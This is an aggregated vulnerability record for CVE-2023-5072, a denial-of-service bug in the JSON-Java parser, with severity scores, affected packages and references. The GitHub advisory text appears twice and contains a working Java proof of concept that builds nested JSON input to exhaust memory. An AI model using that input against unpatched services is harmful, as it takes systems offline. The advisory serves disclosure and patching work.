CVE-2023-5072
DoS Vulnerability in JSON-Java
Denial of Service in JSON-Java versions up to and including 20230618. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
DoS Vulnerability in JSON-Java
Denial of Service in JSON-Java versions up to and including 20230618. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.
- Record
CVE-2023-5072- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
EUVDEUVD-2023-2880
7.5
Denial of Service in JSON-Java versions up to and including 20230618. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.
- Record
EUVD-2023-2880- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-4jq9-2xhw-jpx7
7.5
Java: DoS Vulnerability in JSON-JAVA
Summary
A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.
Severity
High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.
Proof of Concept
package orgjsonbug;
import org.json.JSONObject;
/**
* Illustrates a bug in JSON-Java.
*/
public class Bug {
private static String makeNested(int depth) {
if (depth == 0) {
return "{\"a\":1}";
}
return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
}
public static void main(String[] args) {
String input = makeNested(30);
System.out.printf("Input string has length %d: %s\n", input.length(), input);
JSONObject output = new JSONObject(input);
System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
}
}
When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.
Further Analysis
The issue is fixed by this PR.
Timeline
Date reported: 07/14/2023 Date fixed: Date disclosed: 10/12/2023
- Record
GHSA-4jq9-2xhw-jpx7- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-358
- Updated
- 2026-11-02
NVD
7.5
Denial of Service in JSON-Java versions up to and including 20230618. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.
- Record
CVE-2023-5072- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSVALPINE-CVE-2023-5072
7.5
Denial of Service in JSON-Java versions up to and including 20230618. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.
- Record
ALPINE-CVE-2023-5072- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-03
OSV
7.5
DoS Vulnerability in JSON-Java
Denial of Service in JSON-Java versions up to and including 20230618. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.
- Record
CVE-2023-5072- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
Show 6 moreShow less
OSVDEBIAN-CVE-2023-5072
7.5
Denial of Service in JSON-Java versions up to and including 20230618. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.
- Record
DEBIAN-CVE-2023-5072- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVGHSA-4jq9-2xhw-jpx7
7.5
Java: DoS Vulnerability in JSON-JAVA
Summary
A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.
Severity
High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.
Proof of Concept
package orgjsonbug;
import org.json.JSONObject;
/**
* Illustrates a bug in JSON-Java.
*/
public class Bug {
private static String makeNested(int depth) {
if (depth == 0) {
return "{\"a\":1}";
}
return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}";
}
public static void main(String[] args) {
String input = makeNested(30);
System.out.printf("Input string has length %d: %s\n", input.length(), input);
JSONObject output = new JSONObject(input);
System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output);
}
}
When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.
Further Analysis
The issue is fixed by this PR.
Timeline
Date reported: 07/14/2023 Date fixed: Date disclosed: 10/12/2023
- Record
GHSA-4jq9-2xhw-jpx7- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-358
- Updated
- 2026-11-02
OSVROOT-APP-MAVEN-CVE-2023-5072
7.5
CVE-2023-5072 in org.json:json - Patched by Root
Root has patched CVE-2023-5072 in the org.json:json package for Root:Maven. Multiple fixed versions available.
- Record
ROOT-APP-MAVEN-CVE-2023-5072- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2023-5072
7.5
Denial of Service in JSON-Java versions up to and including 20230618. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used.
- Record
UBUNTU-CVE-2023-5072- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVCLSA-2025-1761091596 No score
TuxCare security update for org.json:json (1 CVE)
TuxCare rebuilt org.json:json to address 1 CVE. Fixed in 20140107-tuxcare.2.
- Record
CLSA-2025-1761091596- Updated
- 2026-11-02
OSVCLSA-2025-1761177997 No score
TuxCare security update for org.json:json (1 CVE)
TuxCare rebuilt org.json:json to address 1 CVE. Fixed in 20090211-tuxcare.3.
- Record
CLSA-2025-1761177997- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
org.json:jsonMaven |
through 20230618 | 20231013 |
openjdk17Alpine:v3.16 |
before 17.0.10_p7-r0 | 17.0.10_p7-r0 |
openjdk17Alpine:v3.17 |
before 17.0.10_p7-r0 | 17.0.10_p7-r0 |
openjdk17Alpine:v3.18 |
before 17.0.10_p7-r0 | 17.0.10_p7-r0 |
openjdk17Alpine:v3.19 |
before 17.0.10_p7-r0 | 17.0.10_p7-r0 |
openjdk17Alpine:v3.20 |
before 17.0.10_p7-r0 | 17.0.10_p7-r0 |
openjdk17Alpine:v3.21 |
before 17.0.10_p7-r0 | 17.0.10_p7-r0 |
openjdk17Alpine:v3.22 |
before 17.0.10_p7-r0 | 17.0.10_p7-r0 |
openjdk17Alpine:v3.23 |
before 17.0.10_p7-r0 | 17.0.10_p7-r0 |
openjdk17Alpine:v3.24 |
before 17.0.10_p7-r0 | 17.0.10_p7-r0 |
Show 44 moreShow less
| Package | Affected | Fixed |
|---|---|---|
openjdk21Alpine:v3.19 |
before 21.0.2_p13-r0 | 21.0.2_p13-r0 |
openjdk21Alpine:v3.20 |
before 21.0.2_p13-r0 | 21.0.2_p13-r0 |
openjdk21Alpine:v3.21 |
before 21.0.2_p13-r0 | 21.0.2_p13-r0 |
openjdk21Alpine:v3.22 |
before 21.0.2_p13-r0 | 21.0.2_p13-r0 |
openjdk21Alpine:v3.23 |
before 21.0.2_p13-r0 | 21.0.2_p13-r0 |
openjdk21Alpine:v3.24 |
before 21.0.2_p13-r0 | 21.0.2_p13-r0 |
org.json:jsonTuxCare:Maven |
20140107 up to 20140107-tuxcare.2, plus listed versions 20140107-tuxcare.1 |
20140107-tuxcare.2 |
org.json:jsonTuxCare:Maven |
20090211 up to 20090211-tuxcare.3, plus listed versions 20090211-tuxcare.1 |
20090211-tuxcare.3 |
jenkins-jsonDebian:12 |
All versions, plus listed versions 2.4-jenkins-3-72.4-jenkins-8+dfsg-1 |
None known |
jenkins-jsonDebian:13 |
All versions, plus listed versions 2.4-jenkins-8+dfsg-1 |
None known |
jenkins-jsonDebian:14 |
All versions, plus listed versions 2.4-jenkins-8+dfsg-1 |
None known |
libjettison-javaDebian:12 |
All versions, plus listed versions 1.5.3-11.5.4-1 |
None known |
libjettison-javaDebian:13 |
All versions, plus listed versions 1.5.4-1 |
None known |
libjettison-javaDebian:14 |
All versions, plus listed versions 1.5.4-1 |
None known |
libjson-javaDebian:12 |
All versions, plus listed versions 2.4-3.13.1.0+dfsg-13.1.0+dfsg-23.2.0+dfsg-13.2.0+dfsg-2 |
None known |
libjson-javaDebian:13 |
before 3.1.0+dfsg-1 | 3.1.0+dfsg-1 |
libjson-javaDebian:14 |
before 3.1.0+dfsg-1 | 3.1.0+dfsg-1 |
org.json:jsonMaven |
before 20231013, plus listed versions 2007082920080701200902112013101820140107 Show 19 moreShow less20141113201507292015112320160212201608072016081020170516201710182018013020180813201907222020051820201115202103072021120520220320202209242023022720230618 |
20231013 |
org.json:jsonRoot:Maven |
before 20220320-aikido.1 | 20220320-aikido.120220320-aikido.2 |
io.root.org.json:jsonRoot:Maven |
before 20230227-root.io.1 | 20230227-root.io.120230227-root.io.220230227-root.io.320220320-root.io.120220320-root.io.2 |
jenkins-jsonUbuntu:16.04:LTS |
All versions, plus listed versions 2.4-jenkins-3-32.4-jenkins-3-4 |
None known |
libjettison-javaUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 1.2-31.2-3ubuntu0.1~esm11.2-3ubuntu0.1~esm2 |
None known |
libjson-javaUbuntu:16.04:LTS |
All versions, plus listed versions 2.3-32.4-12.4-2 |
None known |
jenkins-jsonUbuntu:18.04:LTS |
All versions, plus listed versions 2.4-jenkins-3-5 |
None known |
libjettison-javaUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 1.2-31.4.0-11.4.0-1ubuntu0.18.04.1~esm11.4.0-1ubuntu0.18.04.1~esm2 |
None known |
libjson-javaUbuntu:18.04:LTS |
All versions, plus listed versions 2.4-3 |
None known |
jenkins-jsonUbuntu:20.04:LTS |
All versions, plus listed versions 2.4-jenkins-3-5 |
None known |
libjettison-javaUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 1.4.0-11.4.0-1ubuntu0.20.04.11.4.0-1ubuntu0.20.04.1+esm1 |
None known |
libjson-javaUbuntu:20.04:LTS |
All versions, plus listed versions 2.4-3 |
None known |
jenkins-jsonUbuntu:22.04:LTS |
All versions, plus listed versions 2.4-jenkins-3-6 |
None known |
libjson-javaUbuntu:22.04:LTS |
All versions, plus listed versions 2.4-3.1 |
None known |
libjettison-javaUbuntu:Pro:22.04:LTS |
All versions, plus listed versions 1.4.1-11.4.1-1ubuntu0.22.04.11.4.1-1ubuntu0.22.04.1+esm1 |
None known |
jenkins-jsonUbuntu:24.04:LTS |
All versions, plus listed versions 2.4-jenkins-3-7 |
None known |
libjettison-javaUbuntu:24.04:LTS |
All versions, plus listed versions 1.5.4-1 |
None known |
libjson-javaUbuntu:24.04:LTS |
All versions, plus listed versions 2.4-3.1 |
None known |
jenkins-jsonUbuntu:25.10 |
All versions, plus listed versions 2.4-jenkins-8+dfsg-1 |
None known |
libjettison-javaUbuntu:25.10 |
All versions, plus listed versions 1.5.4-1 |
None known |
libjson-javaUbuntu:25.10 |
All versions, plus listed versions 3.1.0+dfsg-2 |
None known |
jenkins-jsonUbuntu:26.10 |
All versions, plus listed versions 2.4-jenkins-8+dfsg-1build1 |
None known |
libjettison-javaUbuntu:26.10 |
All versions, plus listed versions 1.5.4-1 |
None known |
libjson-javaUbuntu:26.10 |
All versions, plus listed versions 3.2.0+dfsg-2 |
None known |
jenkins-jsonUbuntu:26.04:LTS |
All versions, plus listed versions 2.4-jenkins-8+dfsg-12.4-jenkins-8+dfsg-1build1 |
None known |
libjettison-javaUbuntu:26.04:LTS |
All versions, plus listed versions 1.5.4-1 |
None known |
libjson-javaUbuntu:26.04:LTS |
All versions, plus listed versions 3.1.0+dfsg-23.2.0+dfsg-2 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, aliases, references | OSV | |
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2023-5072 is a high vulnerability (CVSS 7.5) in Stleary Json-java, published October 12, 2023. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.74%, the 77th percentile. Fixed in org.json:json 20231013.
References
github.com/stleary/JSON-java/issues/758
github.com/stleary/JSON-java/issues/771
openwall.com/lists/oss-security/2023/12/13/4
security.netapp.com/advisory/ntap-20240621-0007
github.com/google/security-research/security/advisories/GHSA-4jq9-2xhw-jpx7
nvd.nist.gov/vuln/detail/CVE-2023-5072
Show 10 moreShow less
github.com/stleary/JSON-java/pull/759
github.com/stleary/JSON-java/commit/60662e2f8384d3449822a3a1179bfe8de67b55bb
github.com/advisories/GHSA-4jq9-2xhw-jpx7
security.alpinelinux.org/vuln/CVE-2023-5072
github.com/CVEProject/cvelistV5/tree/main/cves/2023/5xxx/CVE-2023-5072.json
security-tracker.debian.org/tracker/CVE-2023-5072
github.com/stleary/JSON-java
ubuntu.com/security/CVE-2023-5072
github.com/stleary/JSON-java/pull/772
cve.org/CVERecord?id=CVE-2023-5072